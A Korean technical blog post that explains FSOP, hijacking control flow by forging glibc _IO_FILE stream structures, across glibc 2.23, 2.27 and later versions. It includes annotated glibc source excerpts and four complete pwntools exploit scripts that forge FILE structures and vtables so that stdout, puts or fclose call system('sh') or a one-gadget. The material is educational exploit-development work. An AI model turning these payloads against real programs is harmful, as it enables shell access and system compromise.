포스트

FSOP

FSOP
  • FSOP(File Stream Oriented Programming)은 C 표준 라이브러리의 파일 I/O 스트림 내부 구조를 악용하여 프로그램의 제어 흐름을 가로채는 익스플로잇 기법이다.

C언어의 파일 I/O 및 스트림 관리 - _IO_FILE

  • C언어에서 FILE 객체는 파일 작업을 위한 추상화 계층 역할을 한다.
    • 표준 스트림으로는 stdin, stdout, stderr가 있다.
    • 이러한 스트림은 효율성을 위해 내부 버퍼를 관리한다.
  • _IO_FILE 구조체는 Glibc에서 열린 파일 스트림을 나타내는 핵심 데이터 구조이며, Glibc-2.35 기준 아래와 같은 형태를 가진다.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    
    struct _IO_FILE
    {
      int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
    
      /* The following pointers correspond to the C++ streambuf protocol. */
      char *_IO_read_ptr;	/* Current read pointer */
      char *_IO_read_end;	/* End of get area. */
      char *_IO_read_base;	/* Start of putback+get area. */
      char *_IO_write_base;	/* Start of put area. */
      char *_IO_write_ptr;	/* Current put pointer. */
      char *_IO_write_end;	/* End of put area. */
      char *_IO_buf_base;	/* Start of reserve area. */
      char *_IO_buf_end;	/* End of reserve area. */
    
      /* The following fields are used to support backing up and undo. */
      char *_IO_save_base; /* Pointer to start of non-current get area. */
      char *_IO_backup_base;  /* Pointer to first valid character of backup area */
      char *_IO_save_end; /* Pointer to end of non-current get area. */
    
      struct _IO_marker *_markers;
    
      struct _IO_FILE *_chain;
    
      int _fileno;
      int _flags2;
      __off_t _old_offset; /* This used to be _offset but it's too small.  */
    
      /* 1+column number of pbase(); 0 is unknown. */
      unsigned short _cur_column;
      signed char _vtable_offset;
      char _shortbuf[1];
    
      _IO_lock_t *_lock;
      #ifdef _IO_USE_OLD_IO_FILE
    };
    
    • _flags: 파일 스트림의 현재 상태를 나타내는 비트 플래그 집합
    • _IO_read_base, _IO_read_end: 읽기 버퍼의 시작과 끝
    • _IO_read_ptr: 읽기 버퍼 내에서 다음으로 읽을 문자의 위치
    • _IO_write_base, _IO_write_end: 쓰기 버퍼의 시작과 끝
    • _IO_write_ptr: 쓰기 버퍼 내에서 다음으로 읽을 문자의 위치
    • _IO_buf_base, _IO_buf_end: 버퍼의 실제 물리적 메모리 시작과 끝
    • _IO_save_base, _IO_backup_base, _IO_save_end: 주로 fseek()와 같은 파일 위치 변경 작업 시 버퍼의 상태를 저장하고 복원하는 데 사용
    • _chain: 모든 활성 _IO_FILE 구조체들을 연결하는 단일 연결 리스트(_IO_list_all)의 다음 요소를 가리키는 포인터
    • _fileno: 이 구조체가 연관된 운영체제 파일 디스크립터 값
  • _IO_FILEvtable이 합쳐진 _IO_FILE_plus 구조체가 있다.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    
      struct _IO_jump_t
      {
          JUMP_FIELD(size_t, __dummy);
          JUMP_FIELD(size_t, __dummy2);
          JUMP_FIELD(_IO_finish_t, __finish);
          JUMP_FIELD(_IO_overflow_t, __overflow);
          JUMP_FIELD(_IO_underflow_t, __underflow);
          JUMP_FIELD(_IO_underflow_t, __uflow);
          JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
          /* showmany */
          JUMP_FIELD(_IO_xsputn_t, __xsputn);
          JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
          JUMP_FIELD(_IO_seekoff_t, __seekoff);
          JUMP_FIELD(_IO_seekpos_t, __seekpos);
          JUMP_FIELD(_IO_setbuf_t, __setbuf);
          JUMP_FIELD(_IO_sync_t, __sync);
          JUMP_FIELD(_IO_doallocate_t, __doallocate);
          JUMP_FIELD(_IO_read_t, __read);
          JUMP_FIELD(_IO_write_t, __write);
          JUMP_FIELD(_IO_seek_t, __seek);
          JUMP_FIELD(_IO_close_t, __close);
          JUMP_FIELD(_IO_stat_t, __stat);
          JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
          JUMP_FIELD(_IO_imbue_t, __imbue);
      };
    
      struct _IO_FILE_plus
      {
          FILE file;
          const struct _IO_jump_t *vtable;
      };
    
    • vtable: 가상 함수 테이블 역할을 하며, __overflow, __underflow, __xsputn과 같은 다양한 파일 작업에 대한 함수 포인터들을 저장한다.

_IO_FILE vtable 호출 과정

  • puts 함수를 통해 vtable의 사용 과정을 살펴보자.

  • puts 함수 (_IO_puts) -> _IO_sputn
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    
    int
    _IO_puts (const char *str)
    {
      int result = EOF;
      size_t len = strlen (str);
      _IO_acquire_lock (stdout);
    
      if ((_IO_vtable_offset (stdout) != 0
          || _IO_fwide (stdout, -1) == -1)
          && _IO_sputn (stdout, str, len) == len
          && _IO_putc_unlocked ('\n', stdout) != EOF)
      result = MIN (INT_MAX, len + 1);
    
      _IO_release_lock (stdout);
      return result;
    }
    
  • _IO_sputn -> _IO_XSPUTN (매크로)
    1
    
    #define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
    
  • _IO_XSPUTN -> JUMP2 (매크로)
    1
    
    #define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
    
  • JUMP2 -> vtable (매크로)

    1
    2
    3
    4
    5
    
      #define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
    
      # define _IO_JUMPS_FUNC(THIS) \
      (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
                  + (THIS)->_vtable_offset))
    
    • 여기서 vtable의 함수를 호출한다.

FSOP (GLibc < 2.24)

  • Glibc 2.23 이하의 버전에서는 _IO_FILE_plus 구조체의 vtable을 검증하는 과정이 없으므로, 이를 직접 조작할 수 있다.
  • 예제 코드

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
      #include <stdio.h>
      #include <fcntl.h>
      #include <unistd.h>
    
      int main(void) {
          printf("stdout: %p\n", stdout);
          read(0, stdout, 0x300);
          puts("Hello World!");
      }
    
  • 익스플로잇 코드
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
      from pwn import *
    
      context.arch = "amd64"
    
      p = process("./test")
      e = ELF("./test")
      libc = ELF("./libc-2.23.so")
    
      p.recvuntil(b"stdout: ")
      libc.address = int(p.recvline()[:-1], 16) - libc.symbols["_IO_2_1_stdout_"]
    
      payload = FileStructure()
    
      payload.flags = libc.address + 0xf03a4 # og
      payload._lock = libc.bss()
      payload.vtable = libc.symbols["_IO_2_1_stdout_"]-0x38
    
      p.send(bytes(payload))
      p.interactive()
    
    • flags를 원가젯의 주소로 조작한 후, vtable의 주소를 &stdout - 0x38로 조작한다.
      • puts를 호출했을 때 내부적으로 호출되는 vtable 함수인 _IO_file_xsputn 함수가 vtable 상에서 0x38 오프셋에 위치하기 때문이다.
    • puts 함수 내부에서 _IO_FILE 구조체의 _lock에 쓰기 작업을 하므로, _lock은 쓰기 가능한 주소로 지정해야 한다.
  • 결과

FSOP (2.24 <= GLibc <= 2.27)

  • Glibc 2.24 이상 버전부터는 _IO_JUMPS_FUNC 매크로에 IO_validate_vtable 호출이 추가되었다. (vtable 검증)

  • _IO_JUMPS_FUNC -> _IO_JUMPS_FILE_plus (매크로)
    1
    
    # define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
    
  • IO_validate_vtable 인라인 함수
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    
    static inline const struct _IO_jump_t *
    IO_validate_vtable (const struct _IO_jump_t *vtable)
    {
    /* Fast path: The vtable pointer is within the __libc_IO_vtables
       section.  */
    uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
    uintptr_t ptr = (uintptr_t) vtable;
    uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
    if (__glibc_unlikely (offset >= section_length))
      /* The vtable pointer is not in the expected section.  Use the
         slow path, which will terminate the process if necessary.  */
      _IO_vtable_check ();
    return vtable;
    }
    
    • 전달된 vtable 주소가 지정된 섹션 내에 존재하도록 강제하고 있다.
    • GLibc 2.23 예제처럼 fake vtable을 사용하면서 위 조건을 우회하는 것은 매우 까다로우므로, 이후부터는 다른 방법을 사용한다.

방법 1 - 출력 함수가 호출되는 경우: _IO_str_overflow

  • 이 방법은 Glibc-2.27 최신 버전에서는 _allocate_buffer 함수 포인터 호출이 malloc 호출로 대체되어 사용할 수 없다.

  • _IO_str_overflow 함수는 특정 조건을 만족할 경우 new_size를 인자로 하고, _allocate_buffer를 함수 포인터로 하여 호출한다.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    
    int
    _IO_str_overflow (_IO_FILE *fp, int c)
    {
    int flush_only = c == EOF;
    _IO_size_t pos;
    if (fp->_flags & _IO_NO_WRITES)
        return flush_only ? 0 : EOF;
    if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
      {
        fp->_flags |= _IO_CURRENTLY_PUTTING;
        fp->_IO_write_ptr = fp->_IO_read_ptr;
        fp->_IO_read_ptr = fp->_IO_read_end;
      }
    pos = fp->_IO_write_ptr - fp->_IO_write_base;
    if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
      {
        if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
          return EOF;
        else
      {
        char *new_buf;
        char *old_buf = fp->_IO_buf_base;
        size_t old_blen = _IO_blen (fp);
        _IO_size_t new_size = 2 * old_blen + 100;
        if (new_size < old_blen)
          return EOF;
        new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
    
  • printf, puts 함수는 내부적으로 _IO_file_xsputn -> _IO_default_xsputn 함수를 호출하며, 해당 함수에서 vtable의 overflow를 호출한다.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    
      _IO_size_t
      _IO_default_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
      {
      const char *s = (char *) data;
      _IO_size_t more = n;
      if (more <= 0)
          return 0;
      for (;;)
          {
          /* Space available. */
          if (f->_IO_write_ptr < f->_IO_write_end)
          {
          _IO_size_t count = f->_IO_write_end - f->_IO_write_ptr;
          if (count > more)
              count = more;
          if (count > 20)
              {
              f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
              s += count;
              }
          else if (count)
              {
              char *p = f->_IO_write_ptr;
              _IO_ssize_t i;
              for (i = count; --i >= 0; )
              *p++ = *s++;
              f->_IO_write_ptr = p;
              }
          more -= count;
          }
          if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF)
          break;
          more--;
          }
      return n - more;
      }
    
  • _IO_OVERFLOW 매크로에 도달하기 위한 조건은 다음과 같다.
    • _IO_write_ptr_IO_write_end보다 커야 한다.
    • _IO_NO_WRITES 플래그가 설정되어 있지 않아야 한다.
    • _IO_TIED_PUT_GET 플래그가 설정되어 있지 않거나, _IO_CURRENTLY_PUTTING 플래그가 설정되어 있어야 한다.
    • pos = _IO_write_ptr - _IO_write_base 계산 결과가 _IO_blen (fp) + flush_only보다 크거나 같아야 한다. 이때 _IO_blen 매크로는 아래와 같으며, flush_only는 기본적으로 0이다.
      1
      
        #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
      
    • _IO_USER_BUF 플래그가 설정되어 있지 않아야 한다.
  • _allocate_buffer_IO_strfile 구조체의 일부이며, _IO_FILE 구조체의 바로 뒤에 붙어 있다.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    
      struct _IO_streambuf
      {
          struct _IO_FILE _f;
          const struct _IO_jump_t *vtable;
      };
    
      struct _IO_str_fields
      {
          _IO_alloc_type _allocate_buffer;
          _IO_free_type _free_buffer;
      };
    
      typedef struct _IO_strfile_
      {
          struct _IO_streambuf _sbf;
          struct _IO_str_fields _s;
      } _IO_strfile;
    
  • 위 조건을 모두 만족하고, _allocate_buffersystem 함수 주소이며, new_size가 “/bin/sh”를 가리키도록 익스플로잇 코드를 작성해보면 아래와 같다.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    
      from pwn import *
    
      context.arch = "amd64"
    
      p = process("./test")
      e = ELF("./test")
      libc = ELF("./libc-2.27.so")
    
      p.recvuntil(b"stdout: ")
      libc.address = int(p.recvline()[:-1], 16) - libc.symbols["_IO_2_1_stdout_"]
    
      payload = FileStructure()
    
      payload._lock = libc.bss()
    
      # flags
      payload.flags = 0
    
      # _IO_write_ptr > _IO_write_end
      payload._IO_write_ptr = (next(libc.search(b"/bin/sh\x00")) - 100) // 2
      payload._IO_write_end = 0
    
      # _IO_blen(fp) = ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
      # pos = _IO_write_ptr - _IO_write_base >= (_IO_size_t) (_IO_blen (fp) + flush_only)
      # old_blen = _IO_blen(fp)
      # new_size = 2 * old_blen + 100
      payload._IO_write_base = 0
      payload._IO_buf_end = (next(libc.search(b"/bin/sh\x00")) - 100) // 2
      payload._IO_buf_base = 0
    
      # vtable
      payload.vtable = libc.symbols["_IO_file_jumps"] + 0xc0
    
      # _allocate_buffer = system
      payload = bytes(payload) + p64(libc.symbols["system"])
    
      p.send(payload)
      p.interactive()
    
  • 결과

방법 2 - fclose가 호출되는 경우: _IO_str_finish

  • fclose 함수는 내부적으로 _IO_str_finish 함수를 호출한다.

  • _IO_str_finish 함수는 특정 조건을 만족할 경우 _IO_buf_base를 인자로 하고, _free_buffer를 함수 포인터로 하여 호출한다.
    1
    2
    3
    4
    5
    6
    7
    8
    
      void _IO_str_finish (_IO_FILE *fp, int dummy)
      {
      if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
          (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
      fp->_IO_buf_base = NULL;
    
      _IO_default_finish (fp, 0);
      }
    
  • 예제 코드
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
      #include <stdio.h>
      #include <fcntl.h>
      #include <unistd.h>
    
      int main(void) {
    
          printf("stdout: %p\n", stdout);
          read(0, stdout, 0x300);
    
          fclose(stdout);
      }
    
  • 위와 유사한 방법으로 익스플로잇 코드를 작성해보면 아래와 같다.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    
      from pwn import *
    
      context.arch = "amd64"
    
      p = process("./test")
      e = ELF("./test")
      libc = ELF("./libc-2.27.so")
    
      p.recvuntil(b"stdout: ")
      libc.address = int(p.recvline()[:-1], 16) - libc.symbols["_IO_2_1_stdout_"]
    
      payload = FileStructure()
    
      payload._lock = libc.bss()
    
      # _IO_buf_base = "/bin/sh"
      payload._IO_buf_base = next(libc.search(b"/bin/sh"))
    
      payload.vtable = libc.symbols["_IO_file_jumps"] + 0xc0
    
      # _free_buffer = system
      payload = bytes(payload) + p64(0) + p64(libc.symbols["system"])
    
      p.send(payload)
      p.interactive()
    
  • 결과

FSOP (GLibc > 2.27)

  • Glibc 2.27 최신버전 이상부터는 _allocate_buffer_free_buffer와 같은 함수 포인터 호출이 삭제되었다.

  • _IO_FILE, vtable이 붙은 _IO_FILE_plus 외에 _IO_FILE_complete, _IO_FILE_complete_plus라는 구조체들이 있다. 실제로는 stdout, stderr, stdin_IO_FILE_complete_plus 구조체를 사용한다.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    
      struct _IO_FILE_complete
      {
          struct _IO_FILE _file;
          #endif
          __off64_t _offset;
          /* Wide character stream stuff.  */
          struct _IO_codecvt *_codecvt;
          struct _IO_wide_data *_wide_data;
          struct _IO_FILE *_freeres_list;
          void *_freeres_buf;
          size_t __pad5;
          int _mode;
          /* Make sure we don't get into trouble again.  */
          char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
      };
    
      struct _IO_FILE_complete_plus
      {
          struct _IO_FILE_complete file;
          const struct _IO_jump_t *vtable;
      };
    
    • _IO_FILE 아래는 모두 wchar(wide character) 스트림을 위한 필드들이다.
  • _wide_data라는 필드가 있는데, 이는 wchar 전용으로 사용되는 구조체이다.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    
      struct _IO_wide_data
      {
          wchar_t *_IO_read_ptr;	/* Current read pointer */
          wchar_t *_IO_read_end;	/* End of get area. */
          wchar_t *_IO_read_base;	/* Start of putback+get area. */
          wchar_t *_IO_write_base;	/* Start of put area. */
          wchar_t *_IO_write_ptr;	/* Current put pointer. */
          wchar_t *_IO_write_end;	/* End of put area. */
          wchar_t *_IO_buf_base;	/* Start of reserve area. */
          wchar_t *_IO_buf_end;		/* End of reserve area. */
          /* The following fields are used to support backing up and undo. */
          wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
          wchar_t *_IO_backup_base;	/* Pointer to first valid character of
                          backup area */
          wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */
    
          __mbstate_t _IO_state;
          __mbstate_t _IO_last_state;
          struct _IO_codecvt _codecvt;
    
          wchar_t _shortbuf[1];
    
          const struct _IO_jump_t *_wide_vtable;
      };
    
    • _IO_FILE 구조체와 매우 유사하며, 특히 끝에 vtable이 포함되어 있다.
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      
        const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
        {
        JUMP_INIT_DUMMY,
        JUMP_INIT(finish, _IO_new_file_finish),
        JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
        JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
        JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
        JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
        JUMP_INIT(xsputn, _IO_wfile_xsputn),
        JUMP_INIT(xsgetn, _IO_file_xsgetn),
        JUMP_INIT(seekoff, _IO_wfile_seekoff),
        JUMP_INIT(seekpos, _IO_default_seekpos),
        JUMP_INIT(setbuf, _IO_new_file_setbuf),
        JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
        JUMP_INIT(doallocate, _IO_wfile_doallocate),
        JUMP_INIT(read, _IO_file_read),
        JUMP_INIT(write, _IO_new_file_write),
        JUMP_INIT(seek, _IO_file_seek),
        JUMP_INIT(close, _IO_file_close),
        JUMP_INIT(stat, _IO_file_stat),
        JUMP_INIT(showmanyc, _IO_default_showmanyc),
        JUMP_INIT(imbue, _IO_default_imbue)
        };
      
  • _IO_wfile_jumps vtable의 _IO_wfile_overflow는 내부적으로 _IO_wdoallocbuf를 호출하는데, 이를 계속해서 따라가보자.
    • _IO_wdoallocbuf -> _IO_WDOALLOCATE
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      
        void
        _IO_wdoallocbuf (FILE *fp)
        {
        if (fp->_wide_data->_IO_buf_base)
            return;
        if (!(fp->_flags & _IO_UNBUFFERED))
            if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
            return;
        _IO_wsetb (fp, fp->_wide_data->_shortbuf,
                    fp->_wide_data->_shortbuf + 1, 0);
        }
      
    • _IO_WDOALLOCATE -> WJUMP0 (매크로)
      1
      
        #define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
      
    • WJUMP0 -> _IO_WIDE_JUMPS_FUNC (매크로)
      1
      
        #define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
      
    • _IO_WIDE_JUMPS_FUNC -> _IO_WIDE_JUMPS (매크로)
      1
      
        #define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
      
    • _IO_WIDE_JUMPS에서 _IO_FILE_wide_data_wide_vtable에서 참조하여 함수를 호출한다.
      1
      2
      
        #define _IO_WIDE_JUMPS(THIS) \
        _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
      
    • 일반 바이트 스트림 vtable 함수 호출 과정과 다르게, 멀티바이트 스트림 vtable 함수 호출 과정에서는 vtable에 대한 검증이 없음을 알 수 있다.
  • 따라서, _wide_data_wide_vtable을 조작하거나, _wide_data 필드 자체를 조작할 경우 원하는 함수를 호출할 수 있을 것이다.
  • 예제 코드
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
      #include <stdio.h>
      #include <fcntl.h>
      #include <unistd.h>
    
      int main(void) {
    
          printf("stdout: %p\n", stdout);
          read(0, stdout, 0x300);
    
          puts("Hello World!");
      }
    
  • 조건은 앞에서 봤던 _IO_str_overflow의 조건과 유사하다. 하지만, 여기서는 _wide_vtable->__doallocate(fp)를 호출하므로, _IO_FILE 구조체의 첫 부분이 system 함수의 인자가 된다.

  • 조건을 모두 만족하는 익스플로잇 코드는 아래와 같다.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    
      from pwn import *
    
      context.arch = "amd64"
    
      p = process("./test")
      e = ELF("./test")
      libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
      p.recvuntil(b"stdout: ")
      libc.address = int(p.recvline()[:-1], 16) - libc.symbols["_IO_2_1_stdout_"]
    
      payload = FileStructure()
    
      payload._lock = libc.bss()+8
    
      # flags = system function's first arg
      # flags & _IO_UNBUFFERED(0x2) = 0
      # flags & _IO_NO_WRITES(0x8) = 0
      # flags & _IO_CURRENTLY_PUTTING(0x800) = 0
      payload.flags = u32(b"  sh")
    
      # _IO_write_base = 0
      payload._IO_write_base = 0
    
      # _IO_buf_base = 0
      payload._IO_buf_base = 0
    
      # system
      payload._IO_read_ptr = libc.symbols["system"]
    
      # fake _wide_data->vtable
      payload._IO_read_end = libc.symbols["_IO_2_1_stdout_"]+0x8-0x68
    
      # _wide_data
      payload._wide_data = libc.symbols["_IO_2_1_stdout_"]+0x10-0xe0
    
      # _IO_FILE vtable
      payload.vtable = libc.symbols["_IO_wfile_jumps"]-0x20
    
      payload = bytes(payload)
    
      p.send(payload)
      p.interactive()
    
    • _IO_FILE의 첫 부분인 flags를 system 함수의 인자인 “ sh”로 설정한다.
      • 보통 “/bin/sh”를 전달하는데, “/bin/sh”는 8바이트 16진수로 나타내면 0x0068732f6e69622f이다.
      • _IO_wfile_overflow에서 _IO_wdoallocbuf -> _IO_WDOALLOCATE 흐름으로 호출이 이루어지려면 flags가 다음 조건들을 만족해야 한다.
        • flags & _IO_UNBUFFERED(0x2) = 0
        • flags & _IO_NO_WRITES(0x8) = 0
        • flags & _IO_CURRENTLY_PUTTING(0x800) = 0
      • 만약 “/bin/sh”로 설정하게 되면 0x0068732f6e69622f & 0x2 = 0x2 != 0이므로 조건을 만족하지 못한다.
      • 하지만 “ sh”(0x68732020)으로 설정하게 되면 위 세 가지 조건을 모두 만족하면서 셸을 실행할 수 있다.
    • _IO_read_ptrsystem 함수의 주소를 심어둔다. 이는 fake vtable의 일부이다.
    • _IO_read_end에 fake vtable 주소를 심어둔다. vtable에서 __doallocate의 오프셋은 0x68이므로, system 함수의 주소가 담긴 곳으로부터 0x68만큼 떨어진 주소를 fake vtable 주소로 설정한다.
    • _wide_data를 fake _wide_data 주소로 조작한다. _wide_data에서 vtable의 오프셋은 0xe0이므로, fake table 주소가 담긴 곳으로부터 0xe0만큼 떨어진 주소를 fake _wide_data 주소로 설정한다.
    • puts_IO_new_file_xsputn 대신 _IO_wfile_overflow를 호출하도록 vtable을 조작한다.
      • __xsputn__overflow의 오프셋 차이는 0x20이므로 _IO_wfile_jumps에서 0x20만큼 떨어진 주소로 설정한다.
  • 결과

이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.

"Linux Userland" 카테고리의 게시물

📄 _IO_FILE
📄 environ
📄 FSOP